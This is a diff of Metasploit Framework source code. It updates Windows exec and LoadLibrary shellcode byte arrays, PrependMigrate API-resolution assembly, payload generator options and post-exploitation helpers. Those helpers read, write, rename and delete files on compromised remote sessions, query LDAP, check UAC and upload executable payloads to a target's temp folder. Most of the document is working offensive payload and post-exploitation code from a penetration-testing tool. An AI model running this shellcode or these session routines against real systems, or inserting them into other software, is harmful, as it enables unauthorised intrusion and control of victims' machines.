||||
def default
|
||||
@default.to_s
|
||||
end
|
||||
|
||||
def display_value(value)
|
||||
if value.kind_of?(Regexp)
|
||||
return value.source
|
||||
|
|
|
@ -240,10 +240,11 @@ module Msf::Payload::Stager
|
|||
end
|
||||
|
||||
# Allow the user to specify additional registers to preserve
|
||||
saved_registers = (
|
||||
datastore['StageEncoderSaveRegisters'].to_s + " "
|
||||
saved_registers =
|
||||
datastore['StageEncoderSaveRegisters'].to_s +
|
||||
" " +
|
||||
encode_stage_preserved_registers
|
||||
).strip
|
||||
saved_registers.strip!
|
||||
|
||||
estg = nil
|
||||
|
||||
|
@ -262,6 +263,7 @@ module Msf::Payload::Stager
|
|||
if encp.encoder
|
||||
print_status("Encoded stage with #{encp.encoder.refname}")
|
||||
estg = encp.encoded
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
|
|
@ -29,21 +29,21 @@ module Payload::Windows::Exec
|
|||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 161, 'V' ]
|
||||
'EXITFUNC' => [ 154, 'V' ]
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x6A\x01\x8D\x85\xB9\x00\x00\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5" +
|
||||
"\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" +
|
||||
"\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
|
||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x6A\x01\x8D\x85\xB2\x00\x00" +
|
||||
"\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6" +
|
||||
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
|
||||
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
|
||||
}
|
||||
))
|
||||
|
||||
|
|
|
@ -29,21 +29,21 @@ module Payload::Windows::LoadLibrary
|
|||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 159, 'V' ]
|
||||
'EXITFUNC' => [ 152, 'V' ]
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
|
||||
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
|
||||
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
|
||||
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
|
||||
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
|
||||
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
|
||||
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
|
||||
"\x8D\x85\xB7\x00\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0" +
|
||||
"\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB" +
|
||||
"\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
|
||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x8D\x85\xB0\x00\x00\x00\x50" +
|
||||
"\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD" +
|
||||
"\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72" +
|
||||
"\x6F\x6A\x00\x53\xFF\xD5"
|
||||
}
|
||||
))
|
||||
|
||||
|
|
|
@ -68,8 +68,8 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor edx, edx ; Zero EDX
|
||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||
mov edx, [fs:eax+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
|
@ -77,7 +77,6 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
|
@ -92,10 +91,10 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
mov ecx, [edx+60] ; Get PE header
|
||||
|
||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
|
||||
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
|
||||
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||
add ecx, edx ; Add the modules base address
|
||||
push ecx ; Save the current modules EAT
|
||||
|
@ -113,7 +112,6 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
|
@ -145,7 +143,7 @@ module Msf::Payload::Windows::PrependMigrate
|
|||
; We now automagically return to the correct caller...
|
||||
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
pop edi ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
|
|
|
@ -70,6 +70,9 @@ module Msf
|
|||
# @!attribute template
|
||||
# @return [String] The path to an executable template to use
|
||||
attr_accessor :template
|
||||
# @!attribute var_name
|
||||
# @return [String] The custom variable string for certain output formats
|
||||
attr_accessor :var_name
|
||||
|
||||
|
||||
# @param opts [Hash] The options hash
|
||||
|
@ -105,6 +108,7 @@ module Msf
|
|||
@space = opts.fetch(:space, 1.gigabyte)
|
||||
@stdin = opts.fetch(:stdin, nil)
|
||||
@template = opts.fetch(:template, '')
|
||||
@var_name = opts.fetch(:var_name, 'buf')
|
||||
|
||||
@framework = opts.fetch(:framework)
|
||||
|
||||
|
@ -213,10 +217,10 @@ module Msf
|
|||
if Rex::Arch.endian(arch) != ENDIAN_BIG
|
||||
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
|
||||
else
|
||||
::Msf::Simple::Buffer.transform(shellcode, format)
|
||||
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
|
||||
end
|
||||
when *::Msf::Simple::Buffer.transform_formats
|
||||
::Msf::Simple::Buffer.transform(shellcode, format)
|
||||
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
|
||||
when *::Msf::Util::EXE.to_executable_fmt_formats
|
||||
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
|
||||
else
|
||||
|
|
|
@ -3,20 +3,26 @@
|
|||
module Msf::Post::File
|
||||
|
||||
#
|
||||
# Change directory in the remote session to +path+
|
||||
# Change directory in the remote session to +path+, which may be relative or
|
||||
# absolute.
|
||||
#
|
||||
# @return [void]
|
||||
def cd(path)
|
||||
e_path = expand_path(path) rescue path
|
||||
if session.type == "meterpreter"
|
||||
e_path = session.fs.file.expand_path(path) rescue path
|
||||
session.fs.dir.chdir(e_path)
|
||||
else
|
||||
session.shell_command_token("cd '#{path}'")
|
||||
session.shell_command_token("cd \"#{e_path}\"")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the current working directory in the remote session
|
||||
#
|
||||
# @note This may be inaccurate on shell sessions running on Windows before
|
||||
# XP/2k3
|
||||
#
|
||||
# @return [String]
|
||||
def pwd
|
||||
if session.type == "meterpreter"
|
||||
return session.fs.dir.getwd
|
||||
|
@ -51,6 +57,7 @@ module Msf::Post::File
|
|||
#
|
||||
# See if +path+ exists on the remote system and is a directory
|
||||
#
|
||||
# @param path [String] Remote filename to check
|
||||
def directory?(path)
|
||||
if session.type == "meterpreter"
|
||||
stat = session.fs.file.stat(path) rescue nil
|
||||
|
@ -60,7 +67,7 @@ module Msf::Post::File
|
|||
if session.platform =~ /win/
|
||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
|
||||
else
|
||||
f = session.shell_command_token("test -d '#{path}' && echo true")
|
||||
f = session.shell_command_token("test -d \"#{path}\" && echo true")
|
||||
end
|
||||
|
||||
return false if f.nil? or f.empty?
|
||||
|
@ -72,6 +79,7 @@ module Msf::Post::File
|
|||
#
|
||||
# Expand any environment variables to return the full path specified by +path+.
|
||||
#
|
||||
# @return [String]
|
||||
def expand_path(path)
|
||||
if session.type == "meterpreter"
|
||||
return session.fs.file.expand_path(path)
|
||||
|
@ -83,6 +91,7 @@ module Msf::Post::File
|
|||
#
|
||||
# See if +path+ exists on the remote system and is a regular file
|
||||
#
|
||||
# @param path [String] Remote filename to check
|
||||
def file?(path)
|
||||
if session.type == "meterpreter"
|
||||
stat = session.fs.file.stat(path) rescue nil
|
||||
|
@ -95,7 +104,7 @@ module Msf::Post::File
|
|||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
|
||||
end
|
||||
else
|
||||
f = session.shell_command_token("test -f '#{path}' && echo true")
|
||||
f = session.shell_command_token("test -f \"#{path}\" && echo true")
|
||||
end
|
||||
|
||||
return false if f.nil? or f.empty?
|
||||
|
@ -109,6 +118,7 @@ module Msf::Post::File
|
|||
#
|
||||
# Check for existence of +path+ on the remote file system
|
||||
#
|
||||
# @param path [String] Remote filename to check
|
||||
def exist?(path)
|
||||
if session.type == "meterpreter"
|
||||
stat = session.fs.file.stat(path) rescue nil
|
||||
|
@ -117,7 +127,7 @@ module Msf::Post::File
|
|||
if session.platform =~ /win/
|
||||
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
|
||||
else
|
||||
f = session.shell_command_token("test -e '#{path}' && echo true")
|
||||
f = cmd_exec("test -e \"#{path}\" && echo true")
|
||||
end
|
||||
|
||||
return false if f.nil? or f.empty?
|
||||
|
@ -126,31 +136,19 @@ module Msf::Post::File
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Remove a remote file
|
||||
#
|
||||
def file_rm(file)
|
||||
if session.type == "meterpreter"
|
||||
session.fs.file.rm(file)
|
||||
else
|
||||
if session.platform =~ /win/
|
||||
session.shell_command_token("del \"#{file}\"")
|
||||
else
|
||||
session.shell_command_token("rm -f '#{file}'")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Writes a given string to a given local file
|
||||
#
|
||||
def file_local_write(file2wrt, data2wrt)
|
||||
if not ::File.exists?(file2wrt)
|
||||
::FileUtils.touch(file2wrt)
|
||||
# @param local_file_name [String]
|
||||
# @param data [String]
|
||||
# @return [void]
|
||||
def file_local_write(local_file_name, data)
|
||||
unless ::File.exists?(local_file_name)
|
||||
::FileUtils.touch(local_file_name)
|
||||
end
|
||||
|
||||
output = ::File.open(file2wrt, "a")
|
||||
data2wrt.each_line do |d|
|
||||
output = ::File.open(local_file_name, "a")
|
||||
data.each_line do |d|
|
||||
output.puts(d)
|
||||
end
|
||||
output.close
|
||||
|
@ -159,22 +157,27 @@ module Msf::Post::File
|
|||
#
|
||||
# Returns a MD5 checksum of a given local file
|
||||
#
|
||||
def file_local_digestmd5(file2md5)
|
||||
if not ::File.exists?(file2md5)
|
||||
raise "File #{file2md5} does not exists!"
|
||||
else
|
||||
# @param local_file_name [String] Local file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_local_digestmd5(local_file_name)
|
||||
if ::File.exists?(local_file_name)
|
||||
require 'digest/md5'
|
||||
chksum = nil
|
||||
chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read})
|
||||
chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||
return chksum
|
||||
else
|
||||
raise "File #{local_file_name} does not exists!"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a MD5 checksum of a given remote file
|
||||
#
|
||||
def file_remote_digestmd5(file2md5)
|
||||
data = read_file(file2md5)
|
||||
# @note THIS DOWNLOADS THE FILE
|
||||
# @param file_name [String] Remote file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_remote_digestmd5(file_name)
|
||||
data = read_file(file_name)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::MD5.hexdigest(data)
|
||||
|
@ -185,22 +188,27 @@ module Msf::Post::File
|
|||
#
|
||||
# Returns a SHA1 checksum of a given local file
|
||||
#
|
||||
def file_local_digestsha1(file2sha1)
|
||||
if not ::File.exists?(file2sha1)
|
||||
raise "File #{file2sha1} does not exists!"
|
||||
else
|
||||
# @param local_file_name [String] Local file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_local_digestsha1(local_file_name)
|
||||
if ::File.exists?(local_file_name)
|
||||
require 'digest/sha1'
|
||||
chksum = nil
|
||||
chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read})
|
||||
chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||
return chksum
|
||||
else
|
||||
raise "File #{local_file_name} does not exists!"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a SHA1 checksum of a given remote file
|
||||
#
|
||||
def file_remote_digestsha1(file2sha1)
|
||||
data = read_file(file2sha1)
|
||||
# @note THIS DOWNLOADS THE FILE
|
||||
# @param file_name [String] Remote file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_remote_digestsha1(file_name)
|
||||
data = read_file(file_name)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::SHA1.hexdigest(data)
|
||||
|
@ -211,22 +219,27 @@ module Msf::Post::File
|
|||
#
|
||||
# Returns a SHA256 checksum of a given local file
|
||||
#
|
||||
def file_local_digestsha2(file2sha2)
|
||||
if not ::File.exists?(file2sha2)
|
||||
raise "File #{file2sha2} does not exists!"
|
||||
else
|
||||
# @param local_file_name [String] Local file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_local_digestsha2(local_file_name)
|
||||
if ::File.exists?(local_file_name)
|
||||
require 'digest/sha2'
|
||||
chksum = nil
|
||||
chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read})
|
||||
chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
|
||||
return chksum
|
||||
else
|
||||
raise "File #{local_file_name} does not exists!"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a SHA2 checksum of a given remote file
|
||||
#
|
||||
def file_remote_digestsha2(file2sha2)
|
||||
data = read_file(file2sha2)
|
||||
# @note THIS DOWNLOADS THE FILE
|
||||
# @param file_name [String] Remote file name
|
||||
# @return [String] Hex digest of file contents
|
||||
def file_remote_digestsha2(file_name)
|
||||
data = read_file(file_name)
|
||||
chksum = nil
|
||||
if data
|
||||
chksum = Digest::SHA256.hexdigest(data)
|
||||
|
@ -238,6 +251,8 @@ module Msf::Post::File
|
|||
# Platform-agnostic file read. Returns contents of remote file +file_name+
|
||||
# as a String.
|
||||
#
|
||||
# @param file_name [String] Remote file name to read
|
||||
# @return [String] Contents of the file
|
||||
def read_file(file_name)
|
||||
data = nil
|
||||
if session.type == "meterpreter"
|
||||
|
@ -246,19 +261,20 @@ module Msf::Post::File
|
|||
if session.platform =~ /win/
|
||||
data = session.shell_command_token("type \"#{file_name}\"")
|
||||
else
|
||||
data = session.shell_command_token("cat \'#{file_name}\'")
|
||||
data = session.shell_command_token("cat \"#{file_name}\"")
|
||||
end
|
||||
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
#
|
||||
# Platform-agnostic file write. Writes given object content to a remote file.
|
||||
# Returns Boolean true if successful
|
||||
#
|
||||
# NOTE: *This is not binary-safe on Windows shell sessions!*
|
||||
#
|
||||
# @param file_name [String] Remote file name to write
|
||||
# @param data [String] Contents to put in the file
|
||||
# @return [void]
|
||||
def write_file(file_name, data)
|
||||
if session.type == "meterpreter"
|
||||
fd = session.fs.file.new(file_name, "wb")
|
||||
|
@ -281,6 +297,9 @@ module Msf::Post::File
|
|||
#
|
||||
# NOTE: *This is not binary-safe on Windows shell sessions!*
|
||||
#
|
||||
# @param file_name [String] Remote file name to write
|
||||
# @param data [String] Contents to put in the file
|
||||
# @return [void]
|
||||
def append_file(file_name, data)
|
||||
if session.type == "meterpreter"
|
||||
fd = session.fs.file.new(file_name, "ab")
|
||||
|
@ -300,6 +319,9 @@ module Msf::Post::File
|
|||
# Read a local file +local+ and write it as +remote+ on the remote file
|
||||
# system
|
||||
#
|
||||
# @param remote [String] Destination file name on the remote filesystem
|
||||
# @param local [String] Local file whose contents will be uploaded
|
||||
# @return (see #write_file)
|
||||
def upload_file(remote, local)
|
||||
write_file(remote, ::File.read(local))
|
||||
end
|
||||
|
@ -307,31 +329,46 @@ module Msf::Post::File
|
|||
#
|
||||
# Delete remote files
|
||||
#
|
||||
# @param remote_files [Array<String>] List of remote filenames to
|
||||
# delete
|
||||
# @return [void]
|
||||
def rm_f(*remote_files)
|
||||
remote_files.each do |remote|
|
||||
if session.type == "meterpreter"
|
||||
session.fs.file.delete(remote)
|
||||
session.fs.file.delete(remote) if exist?(remote)
|
||||
else
|
||||
if session.platform =~ /win/
|
||||
cmd_exec("del /q /f #{remote}")
|
||||
cmd_exec("del /q /f \"#{remote}\"")
|
||||
else
|
||||
cmd_exec("rm -f #{remote}")
|
||||
cmd_exec("rm -f \"#{remote}\"")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
alias :file_rm :rm_f
|
||||
|
||||
#
|
||||
# Rename a remote file.
|
||||
#
|
||||
# @param old_file [String] Remote file name to move
|
||||
# @param new_file [String] The new name for the remote file
|
||||
def rename_file(old_file, new_file)
|
||||
if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move")
|
||||
session.fs.file.mv(old_file, new_file)
|
||||
if session.respond_to? :commands && session.commands.include?("stdapi_fs_file_move")
|
||||
return (session.fs.file.mv(old_file, new_file).result == 0)
|
||||
else
|
||||
if session.platform =~ /win/
|
||||
cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|)
|
||||
if cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/
|
||||
return true
|
||||
else
|
||||
cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|)
|
||||
return false
|
||||
end
|
||||
else
|
||||
if cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty?
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -339,6 +376,7 @@ module Msf::Post::File
|
|||
alias :mv_file :rename_file
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Meterpreter-specific file read. Returns contents of remote file
|
||||
# +file_name+ as a String or nil if there was an error
|
||||
|
@ -346,11 +384,12 @@ protected
|
|||
# You should never call this method directly. Instead, call {#read_file}
|
||||
# which will call this if it is appropriate for the given session.
|
||||
#
|
||||
# @return [String]
|
||||
def _read_file_meterpreter(file_name)
|
||||
begin
|
||||
fd = session.fs.file.new(file_name, "rb")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Failed to open file: #{file_name}")
|
||||
print_error("Failed to open file: #{file_name}: #{e}")
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -370,10 +409,11 @@ protected
|
|||
#
|
||||
# Truncates if +append+ is false, appends otherwise.
|
||||
#
|
||||
# You should never call this method directly. Instead, call #write_file or
|
||||
# #append_file which will call this if it is appropriate for the given
|
||||
# You should never call this method directly. Instead, call {#write_file}
|
||||
# or {#append_file} which will call this if it is appropriate for the given
|
||||
# session.
|
||||
#
|
||||
# @return [void]
|
||||
def _write_file_unix_shell(file_name, data, append=false)
|
||||
redirect = (append ? ">>" : ">")
|
||||
|
||||
|
@ -482,7 +522,7 @@ protected
|
|||
# The first command needs to use the provided redirection for either
|
||||
# appending or truncating.
|
||||
cmd = command.sub("CONTENTS") { chunks.shift }
|
||||
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'")
|
||||
session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"")
|
||||
|
||||
# After creating/truncating or appending with the first command, we
|
||||
# need to append from here on out.
|
||||
|
@ -499,6 +539,7 @@ protected
|
|||
#
|
||||
# Calculate the maximum line length for a unix shell.
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def _unix_max_line_length
|
||||
# Based on autoconf's arg_max calculator, see
|
||||
# http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html
|
||||
|
|
|
@ -32,7 +32,7 @@ module RubyDL
|
|||
def method_missing(meth, *args, &block)
|
||||
str = meth.to_s
|
||||
lower = str[0,1].downcase + str[1..-1]
|
||||
if self.respond_to? lower
|
||||
if self.respond_to?(lower, true)
|
||||
self.send lower, *args
|
||||
else
|
||||
super
|
||||
|
|
|
@ -283,7 +283,7 @@ module Accounts
|
|||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||
vprint_error("#{f['ErrorMessage']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -298,6 +298,8 @@ module Accounts
|
|||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
|
|
|
@ -149,7 +149,7 @@ module LDAP
|
|||
query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])
|
||||
first_entry_fields = query_result[:results].first
|
||||
# Value from First Attribute of First Entry
|
||||
default_naming_context = first_entry_fields.first
|
||||
default_naming_context = first_entry_fields.first[:value]
|
||||
vprint_status("Default naming context #{default_naming_context}")
|
||||
return default_naming_context
|
||||
end
|
||||
|
@ -231,7 +231,7 @@ module LDAP
|
|||
values_result = values.join(',') if values
|
||||
vprint_status("Values #{values}")
|
||||
|
||||
field_results << values_result
|
||||
field_results << {:type => 'unknown', :value => values_result}
|
||||
end
|
||||
|
||||
entry_results << field_results
|
||||
|
|
|
@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
|
|||
uac = false
|
||||
winversion = session.sys.config.sysinfo['OS']
|
||||
|
||||
if winversion =~ /Windows (Vista|7|8|2008)/
|
||||
if winversion =~ /Windows (Vista|7|8|2008|2012)/
|
||||
unless is_system?
|
||||
begin
|
||||
enable_lua = registry_getvaldata(
|
||||
|
|
|
@ -12,7 +12,7 @@ module Msf::Post::Windows::Runas
|
|||
def shell_execute_exe(filename = nil, path = nil)
|
||||
exe_payload = generate_payload_exe
|
||||
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
payload_path = path || expand_path('%TEMP%')
|
||||
payload_path = path || get_env('TEMP')
|
||||
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||
write_file(cmd_location, exe_payload)
|
||||
|
|
|
@ -23,8 +23,29 @@ end
|
|||
#
|
||||
module Services
|
||||
|
||||
START_TYPE = ["Boot","System","Auto","Manual","Disabled"]
|
||||
START_TYPE_BOOT = 0
|
||||
START_TYPE_SYSTEM = 1
|
||||
START_TYPE_AUTO = 2
|
||||
START_TYPE_MANUAL = 3
|
||||
START_TYPE_DISABLED = 4
|
||||
|
||||
SERVICE_STOPPED = 1
|
||||
SERVICE_START_PENDING = 2
|
||||
SERVICE_STOP_PENDING = 3
|
||||
SERVICE_RUNNING = 4
|
||||
SERVICE_CONTINUE_PENDING = 5
|
||||
SERVICE_PAUSE_PENDING = 6
|
||||
SERVICE_PAUSED = 7
|
||||
|
||||
include ::Msf::Post::Windows::Error
|
||||
include ::Msf::Post::Windows::ExtAPI
|
||||
include ::Msf::Post::Windows::Registry
|
||||
|
||||
def advapi32
|
||||
session.railgun.advapi32
|
||||
end
|
||||
|
||||
#
|
||||
# Open the service manager with advapi32.dll!OpenSCManagerA on the
|
||||
# given host or the local machine if :host option is nil. If called
|
||||
|
@ -42,12 +63,12 @@ module Services
|
|||
# OpenSCManagerA()
|
||||
# @yield [manager] Gives the block a manager handle as returned by
|
||||
# advapi32.dll!OpenSCManagerA. When the block returns, the handle
|
||||
# will be closed with {#close_sc_manager}.
|
||||
# will be closed with {#close_service_handle}.
|
||||
# @raise [RuntimeError] if OpenSCManagerA returns a NULL handle
|
||||
#
|
||||
def open_sc_manager(opts={})
|
||||
host = opts[:host] || nil
|
||||
access = opts[:access] || 0xF003F
|
||||
access = opts[:access] || "SC_MANAGER_ALL_ACCESS"
|
||||
machine_str = host ? "\\\\#{host}" : nil
|
||||
|
||||
# SC_HANDLE WINAPI OpenSCManager(
|
||||
|
@ -55,16 +76,16 @@ module Services
|
|||
# _In_opt_ LPCTSTR lpDatabaseName,
|
||||
